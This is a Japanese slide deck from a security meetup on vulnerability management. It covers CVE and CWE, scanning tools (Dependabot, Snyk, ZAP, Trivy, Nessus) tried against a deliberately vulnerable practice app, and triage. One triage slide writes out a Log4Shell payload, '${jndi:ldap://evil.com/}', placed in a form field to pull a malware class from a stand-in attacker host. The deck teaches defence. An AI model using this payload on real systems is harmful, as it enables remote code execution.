9K Views
December 14, 23
スライド概要
Vuls祭り#8 の資料です
https://vuls-jp.connpass.com/event/290311/
動画
https://www.youtube.com/watch?v=g-HDfS5TWPM
脆弱性対応入門 ~古典的脆弱性診断からモダンなスキャンまで~ EGセキュアソリューションズ株式会社 取締役CTO 徳丸 浩 徳丸浩のウェブセキュリティ講座
アジェンダ • • • • • • • 脆弱性対応の基礎 脆弱性対応の流れ 脆弱性診断とは コンポーネントのインストール方法と脆弱性診断の関係 Bad Todoに対して各種脆弱性スキャンを試す トリアージ まとめ 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 2
徳丸浩の自己紹介 • 経歴 – 1985年 京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – – – – EGセキュアソリューションズ株式会社取締役CTO https://www.eg-secure.co.jp/ 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/ 著書「体系的に学ぶ 安全なWebアプリケーションの作り方(第2版)」(2018年6月) YouTubeチャンネル「徳丸浩のウェブセキュリティ講座」 https://j.mp/web-sec-study – 技術士(情報工学部門) 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 3
脆弱性対応の基礎 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 4
Webサイトへの侵入経路は2種類しかない • 管理用ツールの認証を突破される – telnet, FTP, SSH等のパスワードを推測される – FTP等のパスワードがマルウェア経由で漏洩する • ソフトウェアの脆弱性を悪用される – 基盤ソフトウェアの脆弱性を悪用される • Apache, PHP, JRE(Java), Tomcat, … • 脆弱性は世界中で調査され、日々新たな脆弱性が報告される – アプリケーションの脆弱性を悪用される • 個別のアプリケーションの脆弱性 • SQLインジェクションなど 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 5
CVEとCWE • CVE(Common Vulnerabilities and Exposures)はソフトウェアの個別 の脆弱性を識別する番号 ➢ CVEの例 – CVE-2021-44228: Apache Log4jの脆弱性 "Log4Shell" – CVE-2014-0160: OpenSSL の脆弱性 "Heartbleed" – CVE-2014-6271: Bashの脆弱性 "Shellshock" • CWE(Common Weakness Enumeration)は脆弱性の種類の識別番号 ➢ CWEの例 – CWE-89: SQLインジェクション – CWE-79: クロスサイト・スクリプティング – CWE-78: OSコマンドインジェクション 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 6
プラットフォーム脆弱性とアプリケーション脆弱性 • プラットフォーム(コンポーネント)脆弱性 – – – – OSやミドルウェア、ライブラリに含まれる脆弱性 CVE番号のついた「既知の脆弱性」が対象となる 脆弱性診断ではCVEのついた既知の脆弱性を探す 対応は、修正済みのバーションの導入、パッチ適用 • アプリケーション脆弱性 – – – – 個別に作り込んだアプリケーション(ソフトウェア)の脆弱性 CVEのついた脆弱性は存在しないので「未知の脆弱性」が対象となる 脆弱性診断では未知の脆弱性を探す 対応はソフトウェアの修正 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 7
脆弱性対応の流れ 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 8
アジャイル開発によるセキュアなシステム開発のポイント いきなりすべてのポイントを抑えるのは難しい… ・ ・ ・ ・ 開発体制強化 開発者の教育 ガイドライン策定 セキュリティ担当者育成 ・ 機能単位のリスク分析 ・ セキュリティの個別要件策定 ・ プラットフォーム設計 ・ ガイドラインに基づき設計 ・ 設計レビューによるガイド ライン準拠のチェック ・ 脆弱性診断の実施 ・ セキュリティ要件の機能的なテスト ・ 脆弱性診断結果の修正 イテレーション プロジェクト 開始以前 ・ ・ ・ ・ 企画 要件定義 サービスレベルのリスク分析 プラットフォームのリスク分析 セキュリティ機能に関する方針検討 セキュリティ予算確保 徳丸浩のウェブセキュリティ講座 基本設計 ・最初の1回のみ ・イテレーション毎に実施 不合格 詳細設計 ・ ガイドラインに基づき設計 ・ セキュリティ機能の詳細化 ・ 方針設計によりセキュリティ バグ対策方針 プログラミング ・ ガイドラインに基づき実装 ・ コードレビューにより開発 標準準拠のチェック © 2023 Hiroshi Tokumaru テスト リリース 判定 合格 リリース ・テスト結果をもとに リリースの可否を検討 9
脆弱性対応のポイント(企画~リリース) • 企画:利用するプラットフォームやコンポーネントを選定する – サポートライフサイクルポリシーの確認等 – クラウドの種類(IaaS、PaaS、SaaS等)→責任範囲が変わる • 設計:プラットフォームやソフトウェアの導入方法を決める – ソースコードからビルド – 各種パッケージ管理システムの利用(yum、apt、npm、gem…) • • • • 開発:設計に沿ってシステムを開発する 脆弱性診断:脆弱性を把握して修正する リリース:脆弱性対応の終わったシステムをデプロイする 運用に続く… 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 10
脆弱性対応のポイント(運用) • 脆弱性情報の収集 – ソフトウェア提供のウェブサイト – IPAやJPCERT/CC、IT専門メディア、有償サービス • 自システムの状況把握 – 脆弱性診断(後述)で自システムの脆弱性を把握する • 影響把握と対応要否の検討(トリアージ) – 脆弱性の影響を把握して、対応の要否を検討する(後述) • 対応方法の検討 – 対応方法を検討する(新バージョン導入、パッチ適用) • テスト – 脆弱性対応による影響をテストする • 導入 – 本番環境にて脆弱性対応結果を導入する 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 11
脆弱性診断とは 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 12
脆弱性診断の種類 • Webアプリケーション脆弱性診断 – Webアプリケーションの脆弱性の有無を確認する – Webアプリケーションのセキュリティ機能の正当性を確認する – Webアプリケーションのテストの一環として実施する • プラットフォーム脆弱性診断 – プラットフォームに既知の脆弱性がないかを確認する – プラットフォームの設定のミスを確認する 雑に言えば、下記となる • オープンPROXYなど アプリケーション診断 = CWEを探す – ポートスキャン プラットフォーム診断 = CVEを探す • ペネトレーションテスト – 侵入可能性の実証まで行う…はずが、 手動脆弱性診断のことを指す場合も多い – 運用まで確認する場合もある 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 13
脆弱性診断の種類(続き) • DAST (Dynamic Application Security Testing) – 攻撃者の立場でインターネット越しに擬似攻撃を行う – DASTというと一般的にはアプリケーションに対するツール診断を指す – ZAP(旧称OWASP ZAP)、Burp Suite、AppScan、AeyeScan、Vex等 • SAST(Static Application Security Testing) – ソースコードを解析することで診断する – Fortify、Checkmarx、Coverty • SCA (Software Composition Analysis) – アプリケーションが依存するライブラリやフレームワークを分析して脆弱性を把握 – npmやgemのpackage.json等を確認 – npm audit 等でも提供するが、 SnykやGitHub Advanced Securityなどで包括的なチェックが可能 • コンテナイメージスキャン – コンテナイメージに対する脆弱性スキャン – OSやソフトウェアの依存関係から脆弱性情報を抽出 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 14
コンポーネントのインストール方法によって 脆弱性診断の方法が変わる 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 15
コンポーネントのインストール方法と脆弱性診断(1) • ソースからビルドや手動配置 – $ cd php-8.1.23 $ ./configure $ make $ sudo make install – この方法だと、依存関係はどこにもない – Nessus等が外部から診断する – 手作業でバージョンを調べる – Struts2の脆弱性S2-045(CVE-2017-5638)の時は手動で配置したStruts2の バージョンが把握できずに攻撃にあったケースも(Equifax等) – 手動でjQueryを配置するようなケースもこのパターン 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 16
コンポーネントのインストール方法と脆弱性診断(2) • ディストリビューションのyumやaptでインストール – – – – sudo apt install php 基本的にはバージョン固定で、パッチが当たっていく(例外もあり) rpmやdpkgで取得したパッケージ情報から脆弱性がわかる Ubuntu 20.04(2025年4月までサポート)のPHP 7.4の場合 PHP 7.4のサポートは2022年11月でサポート終了 UbuntuのパッケージのPHPはサポート継続 PHP本家ではPHP7.4に対策され ていないがUbuntu側でバック ポートされている CVE-2023-3247 (2023年6月公表) の場合 – NessusのクレデンシャルスキャンやVuls等で診断できる – OpenSSLのHeartBleed(CVE-2014-0160)等が代表例 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 17
コンポーネントのインストール方法と脆弱性診断(3) • npmやgem等言語ごとのパッケージ管理システム – 以下は、npmでnode-jsonwebtoken Ver 8.5をインストールする例 $ npm install [email protected] – 実際にインストールされたバージョンや依存関係は、package-lock.jsonというファイルに保存 されている – npm audit やSCAツールで診断可能 – Log4Shell(CVE-2021-44228)が代表例(インストール方法次第だが) 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 18
コンポーネントのインストール方法と脆弱性診断(4) • Docker等のコンテナで環境構築する場合 Dockerfile FROM node:18 WORKDIR /usr/src/app COPY app/package*.json ./ RUN npm install COPY app/ ./ CMD ["node", "server.js"] • 上記のケースでは、以下の脆弱性管理が必要 – コンテナイメージに含まれるソフトウェア(ミドルウェア、ライブラリ等) – npmでインストールしたコンポーネント – アプリケーション • Trivy等でコンテナイメージのスキャンはできるが、 アプリケーションはスキャンの対象外 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 19
DevSecOpsにおける脆弱性診断のイメージ(全体像) SAST SCA DAST 手動診断 脆弱性スキャン 継続的なスキャン SCA 脆弱性スキャン OWASP DevSecOps Guideline - v-0.2 より引用 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 徳丸浩のウェブセキュリティ講座 20
Bad Todoに対して各種脆弱性スキャンを試す 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 21
Bad Todo とは? • 脆弱性診断演習に特化した「やられアプリ」 • 非常に多種の脆弱性を含む – ウェブ健康診断仕様 13項目すべてに対応 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru
Bad Todo(未発表のSPA版含む)の構成図 Nginxコンテナ Nodeコンテナ Apacheコンテナ MariaDBコンテナ 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru Mail コンテナ (MailCatcher) 23
DevSecOpsにおける脆弱性診断のステップ(1) SCA dependabot OWASP DevSecOps Guideline - v-0.2 より引用 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 徳丸浩のウェブセキュリティ講座 24
GitHub dependabot GitHub上で動作する依存関係管理ツール。プロジェクトの依存関係が最新で安全で あることを確認する 1. 依存関係のスキャン: ある程度の頻度でプロジェクトの依存関係ファイル(例: package.json、Gemfile、requirements.txtなど)をスキャン 2. アップデートの確認: スキャンにより古いもしくは脆弱性がある依存関係が見つ かった場合、最新かつ安全なバージョンが存在するかどうかを確認する 3. プルリクエストの作成: アップデートが必要な依存関係がある場合、そのアップ デート内容を適用したプルリクエストを自動的に生成 4. 開発者はレビューを行い、問題がなければマージして依存関係をアップデートで きる Dependabotにより、依存関係に関するセキュリティリスクを識別し、 対応作業を効率化できる。 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 25
Dependabotから通知されるメールの例 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 26
DevSecOpsにおける脆弱性診断のステップ(2) SCA dependabot SAST Snyk使用 OWASP DevSecOps Guideline - v-0.2 より引用 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 徳丸浩のウェブセキュリティ講座 27
Snyk • ソフトウェアセキュリティの診断ツール • 開発プロセスにセキュリティチェックを統合 – – – – SCA SAST コンテナスキャン ライセンス・コンプライアンス • GitHub等のリポジトリから定期的に診断可能 • 無償版と有償版あり 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 28
Snykから通知されるメールの例 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 29
DevSecOpsにおける脆弱性診断のステップ(3) SCA dependabot SAST Snyk使用 DAST ZAP使用 OWASP DevSecOps Guideline - v-0.2 より引用 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 徳丸浩のウェブセキュリティ講座 30
ZAP(旧OWASP ZAP) • • • • • 無料のウェブアプリケーション診断ツール 元々はOWASPのプロジェクトだったが、2023年8月に独立 Java記述のデスクトップアプリであり、Windows、Mac、Linuxで動作 手動診断・自動診断の両方に対応 もっとも普及したDASTツールの一つ 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 31
DevSecOpsにおける脆弱性診断のステップ(4) SCA dependabot SAST Snyk使用 DAST ZAP使用 コンテナスキャン Trivy使用 OWASP DevSecOps Guideline - v-0.2 より引用 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 徳丸浩のウェブセキュリティ講座 32
Trivy • 手軽に使えるコンテナイメージに対する脆弱性スキャナ • 元々、福田鉄平氏が個人で開発していたオープンソースソフトウェア だが、2019年にAqua Security社が買収したもの • コマンドラインからダウンロードして簡単に使える • 簡単にCI/CDパイプラインと統合可能 • 診断可能な範囲は下記の通り – yumやapt等ディストリビューションにおける脆弱性スキャン – npmやgem等のパッケージマネージャのスキャン 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 33
DevSecOpsにおける脆弱性診断のステップ(5) SCA dependabot SAST Snyk使用 DAST ZAP使用 コンテナスキャン Trivy使用 脆弱性スキャン Nessus OWASP DevSecOps Guideline - v-0.2 より引用 徳丸浩のウェブセキュリティ講座 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 34
Nessus • • • • 最も著名なネットワーク脆弱性スキャナ リモートからの診断(ポートスキャン、脆弱性スキャン) サーバー内部からのスキャン(クレデンシャルスキャン) 有償版と無償版あり 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 35
DevSecOpsにおける脆弱性診断のステップ(6) SCA dependabot SAST Snyk使用 DAST ZAP使用 コンテナスキャン Trivy使用 脆弱性スキャン Nessus 手動診断(ZAP) 徳丸浩のウェブセキュリティ講座 OWASP DevSecOps Guideline - v-0.2 より引用 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 36
DevSecOpsにおける脆弱性診断のステップ(7) SCA dependabot SAST Snyk使用 継続的な診断 SCA コンテナスキャン … DAST ZAP使用 コンテナスキャン Trivy使用 脆弱性スキャン Nessus 手動診断(ZAP) 徳丸浩のウェブセキュリティ講座 OWASP DevSecOps Guideline - v-0.2 より引用 https://owasp.org/www-project-devsecops-guideline/latest/00a-Overview 37
結果の代表例のサマリ dependabot Snyk ZAP(自動) Trivy ZAP(手動) Nessus ディストリビューションの脆弱性 ✗ △ *1 ⭕ ✗ ✗ △ *2 jsonwebtoken ⭕ ⭕ ⭕ ✗ ✗ ✗ 古いjQuery ✗ ✗ ✗ ⭕ ⭕ ✗ PHP(CVE-2012-1823) ✗ ✗ ✗ ⭕ ⭕ ✗ SQLインジェクション ✗ △ ✗ △ ⭕ ✗ クロスサイトスクリプティング(XSS) ✗ △ ✗ △ ⭕ △ DOM Based XSS ✗ ✗ ✗ ✗ ⭕ ✗ 安全でないデシリアライゼーション ✗ ⭕ ✗ ✗ ⭕ ✗ 認可制御 ✗ ✗ ✗ ✗ ⭕ ✗ TLSの設定不備 ✗ ✗ ✗ ✗ ✗ ⭕ 注 *1: Dockerfileのスキャンなら可能 *2: クレデンシャルスキャンなら可能 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 38
トリアージ 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 39
トリアージの基本的な考え方 • トリアージとは、脆弱性の対応要否や優先度を決めること • 脆弱性の影響を把握することが重要 • そもそも単体で影響があるか? – 例:Apacheのmod_proxyに脆弱性があるが当該モジュールは使っていない等 • その脆弱性への攻撃経路があるか? – インターネットから直接アクセスできないので攻撃できない場合等 – 間接的に攻撃を受ける場合もあるのでこの判断は難しい(後述) • 脆弱性の危険度や影響 – 情報漏洩、リモートコード実行など脆弱性で「できること」がどう影響するか • Exploitコードが公開されているか? • サーバーの役割や重要資産の有無 – サーバー内に重要情報があれば対応優先度は高くなる 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 40
内部サーバーで動くLog4jの場合:正常系 onigiripay 問い合わ せしよう 氏名 メールアドレス オニギリペイ 問い合わ Web Server(お問い合わせ) せ受付 Log Server Log4j お問い合わせ内容 {"name":"高橋太郎", "mail":"[email protected]", "inq":"質問があります…"} 送信 Log4jに よる処理 Log DB 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 41
内部サーバーで動くLog4jの場合:攻撃 オニギリペイ 不正な class実行 問い合わ Web Server(お問い合わせ) Log Server せ受付 Log4j {"name":"RCE", "mail":"${jndi:ldap://evil.com/}", "inq":"Question…"} Log4jに JNDIルッ よる処理 クアップ {"name":"RCE", "mail":"${jndi:ldap://evil.com/}", "inq":"Question…"} LDAP Server evil.com Malware class 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 42
まとめ • • • • • 脆弱性対応のステップを説明 脆弱性対応はサイトの企画段階から計画的な対応が必要 脆弱性把握の方法は企画・設計段階から検討しておくこと トリアージとテストが特に難しい DevSecOpsにおいて脆弱性対応は中核的な位置づけなので、 アーキテクチャ検討時から脆弱性対応の方法を検討すべし ご清聴ありがとうございました 徳丸浩のウェブセキュリティ講座 © 2023 Hiroshi Tokumaru 43